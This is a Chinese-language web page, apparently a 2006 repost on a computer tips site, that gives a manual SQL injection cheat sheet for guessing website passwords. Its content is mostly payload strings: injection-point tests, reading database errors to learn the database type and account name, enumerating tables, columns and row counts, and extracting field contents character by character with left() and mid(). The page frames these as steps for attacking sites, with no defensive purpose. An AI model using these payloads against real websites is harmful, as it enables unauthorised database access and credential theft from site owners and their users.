首页 电脑 电脑学堂 查看内容

手工SQL注入猜解网站密码

2006-5-13 00:00 732 0

摘要: ==============================判断是否存在SQL注入点'and 1=1 and 1=2' and char(124)%2Buser%2Bchar(124)=0 and '...
关键词: 数据库 字段 名称 select 错误 网址 页面 提示 count 数据

==============================判断是否存在SQL注入点'and 1=1 and 1=2' and char(124)%2Buser%2Bchar(124)=0 and ''='and char(124)%2Buser%2Bchar(124)=0--------------------------------------------------错误判断Microsoft JET Database Engine 错误 '80040e14'   字符串的语法错误 在查询表达式 'ID=49'' 中。 /showdetail.asp,行8   从这个错误提示我们能看出下面几点:   1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。   2. 程序没有判断客户端提交的数据是否符合程序要求。   3. 该SQL语句所查询的表中有一名为ID的字段。 Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'sonybb' 转换为数据类型为 int 的列时发生语法错误。/lawjia/show.asp, 第 47 行  但是别有用心的人从这个出错信息中,可以获得以下信息:该站使用MS_SQL数据库,用ODBC连接,连接帐号名为:sonybb。--------------------------------------------------SQL数据库表名称猜解and exists (select * from 表名称)and 0<>(select count(*) from 表名称)--------------------------------------------------猜解表里面数据数量and 数据数量=(select count(*) from 表名称)--------------------------------------------------猜测表里面的字段名称and 1=(select count(*) from [表名称] where len(字段名)>0)and exists (select 字段名 from 表名称)--------------------------------------------------猜测字段长度and 1=(select count(*) from [表名称] where len(字段名)<长度)--------------------------------------------------字段内容猜测left函数猜测:and 1=(select count(*) from [表名称] where left(字段名,位数)='所在位数以内的内容')mid函数猜测:and 1=(select count(*) from [表名称] where mid(字段名,查询的位数,1)='查询所在位数的数据')--------------------------------------------------精髓技巧:;and user>0 是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。 --------------------------------------------------数据库类型判断:;and (select count(*) from sysobjects)>0 ;and (select count(*) from msysobjects)>0 Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。一般使用第一个判断如果数据库是SQLServer,那么第一个网址的页面与原页面是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。 如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部